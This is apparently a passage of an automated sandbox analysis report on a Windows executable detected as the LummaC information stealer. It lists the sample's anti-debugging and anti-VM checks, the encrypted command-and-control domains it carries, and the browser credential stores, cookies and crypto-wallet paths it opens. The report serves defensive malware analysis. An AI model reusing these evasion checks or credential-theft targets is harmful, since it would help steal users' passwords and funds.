Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66FCC65 second address: 66FCC6F instructions: 0x00000000 rdtsc 0x00000002 je 00007FCD1153201Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66FDC91 second address: 66FDCB0 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FCD111F5CB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b pushad 0x0000000c popad 0x0000000d pop ebx 0x0000000e popad 0x0000000f push eax 0x00000010 pushad 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 ja 00007FCD111F5CB6h 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66FFC8C second address: 66FFC9A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD1153201Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 6700AA5 second address: 6700AA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66AD090 second address: 66AD099 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Special instruction interceptor: First address: 558CCA instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Special instruction interceptor: First address: 558BDB instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Special instruction interceptor: First address: 558BB6 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Special instruction interceptor: First address: 789FAE instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Special instruction interceptor: First address: 654DF58 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Special instruction interceptor: First address: 671065A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Special instruction interceptor: First address: 67814B8 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Special instruction interceptor: First address: 6553698 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\v5Evrl41VR.exe TID: 7936	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe TID: 8016	Thread sleep time: -32000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe TID: 8056	Thread sleep time: -300000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe TID: 7932	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe TID: 7940	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe TID: 7920	Thread sleep time: -44022s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\v5Evrl41VR.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: v5Evrl41VR.exe, 00000000.00000003.1435930458.00000000057FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696503903~
Source: v5Evrl41VR.exe	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: v5Evrl41VR.exe, 00000000.00000003.1435930458.00000000057FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696503903
Source: v5Evrl41VR.exe, 00000000.00000003.1435930458.00000000057FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696503903o
Source: v5Evrl41VR.exe, 00000000.00000003.1435930458.00000000057FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696503903z
Source: v5Evrl41VR.exe, 00000000.00000003.1435930458.00000000057FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696503903^
Source: v5Evrl41VR.exe, 00000000.00000003.1435930458.00000000057FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696503903}
Source: v5Evrl41VR.exe, 00000000.00000003.1435930458.00000000057FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696503903x
Source: v5Evrl41VR.exe, 00000000.00000003.1435930458.00000000057FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696503903h
Source: v5Evrl41VR.exe, 00000000.00000003.1435930458.00000000057FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696503903x
Source: v5Evrl41VR.exe, 00000000.00000003.1565220935.0000000000CAD000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1488500343.0000000000CAD000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380954502.0000000000CAD000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1411204921.0000000000CAD000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1527631377.0000000000CAD000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1618598267.0000000000CAD000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1510523637.0000000000CAD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: v5Evrl41VR.exe, 00000000.00000003.1435930458.00000000057FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696503903]
Source: v5Evrl41VR.exe, 00000000.00000003.1435930458.00000000057FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696503903
Source: v5Evrl41VR.exe, 00000000.00000003.1435930458.00000000057FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696503903\|UE
Source: v5Evrl41VR.exe, 00000000.00000003.1435930458.00000000057FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696503903
Source: v5Evrl41VR.exe, 00000000.00000003.1435930458.00000000057FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696503903
Source: v5Evrl41VR.exe, 00000000.00000003.1435930458.00000000057FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696503903u
Source: v5Evrl41VR.exe, 00000000.00000003.1435930458.00000000057FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696503903
Source: v5Evrl41VR.exe, 00000000.00000003.1435930458.00000000057FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696503903
Source: v5Evrl41VR.exe, 00000000.00000003.1435930458.00000000057FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696503903t
Source: v5Evrl41VR.exe, 00000000.00000003.1435930458.00000000057FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696503903}
Source: v5Evrl41VR.exe, 00000000.00000003.1435930458.00000000057FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696503903x
Source: v5Evrl41VR.exe, 00000000.00000003.1435867545.000000000573B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: NVMware2
Source: v5Evrl41VR.exe, 00000000.00000003.1435930458.00000000057FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696503903
Source: v5Evrl41VR.exe, 00000000.00000003.1435930458.00000000057FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696503903
Source: v5Evrl41VR.exe, 00000000.00000003.1435930458.00000000057FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696503903p
Source: v5Evrl41VR.exe, 00000000.00000003.1435930458.00000000057FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696503903n
Source: v5Evrl41VR.exe, 00000000.00000003.1435930458.00000000057FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696503903t
Source: v5Evrl41VR.exe, 00000000.00000003.1435930458.00000000057FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696503903s
Source: v5Evrl41VR.exe, 00000000.00000003.1435930458.00000000057FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696503903
Source: v5Evrl41VR.exe, 00000000.00000003.1435930458.00000000057FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696503903d
Source: v5Evrl41VR.exe	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: v5Evrl41VR.exe, 00000000.00000003.1435930458.00000000057FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696503903j
Source: v5Evrl41VR.exe, 00000000.00000003.1435930458.00000000057FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696503903f
Source: v5Evrl41VR.exe, 00000000.00000003.1435930458.00000000057FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696503903
Source: v5Evrl41VR.exe, 00000000.00000003.1435867545.000000000573B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696503903p

Source: C:\Users\user\Desktop\v5Evrl41VR.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\v5Evrl41VR.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Thread information set: HideFromDebugger			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: NTICE
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: SICE
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Process queried: DebugPort	Jump to behavior

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: v5Evrl41VR.exe, 00000000.00000003.1313736514.0000000004B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: hummskitnj.buzz
Source: v5Evrl41VR.exe, 00000000.00000003.1313736514.0000000004B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: cashfuzysao.buzz
Source: v5Evrl41VR.exe, 00000000.00000003.1313736514.0000000004B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: appliacnesot.buzz
Source: v5Evrl41VR.exe, 00000000.00000003.1313736514.0000000004B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: screwamusresz.buzz
Source: v5Evrl41VR.exe, 00000000.00000003.1313736514.0000000004B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: inherineau.buzz
Source: v5Evrl41VR.exe, 00000000.00000003.1313736514.0000000004B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: scentniej.buzz
Source: v5Evrl41VR.exe, 00000000.00000003.1313736514.0000000004B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: rebuildeso.buzz
Source: v5Evrl41VR.exe, 00000000.00000003.1313736514.0000000004B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: prisonyfork.buzz
Source: v5Evrl41VR.exe, 00000000.00000003.1313736514.0000000004B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: mindhandru.buzz

Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=v5Evrl41VR.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=v5Evrl41VR.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior

Source: C:\Users\user\Desktop\v5Evrl41VR.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\v5Evrl41VR.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: v5Evrl41VR.exe, 00000000.00000003.1565220935.0000000000C89000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1527631377.0000000000C87000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1510375337.0000000000C72000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1510375337.0000000000C87000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1510294396.00000000057BA000.00000004.00000800.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1510523637.0000000000C89000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1527631377.0000000000C72000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\v5Evrl41VR.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: v5Evrl41VR.exe PID: 7860, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: v5Evrl41VR.exe, 00000000.00000003.1488500343.0000000000CAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum-LTC
Source: v5Evrl41VR.exe, 00000000.00000003.1488500343.0000000000CAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: v5Evrl41VR.exe	String found in binary or memory: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: v5Evrl41VR.exe, 00000000.00000003.1488500343.0000000000CAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: v5Evrl41VR.exe, 00000000.00000003.1488500343.0000000000CAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: v5Evrl41VR.exe	String found in binary or memory: ExodusWeb3
Source: v5Evrl41VR.exe, 00000000.00000003.1488500343.0000000000CAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum
Source: v5Evrl41VR.exe, 00000000.00000003.1488322817.0000000000CDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: v5Evrl41VR.exe, 00000000.00000003.1488322817.0000000000CDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
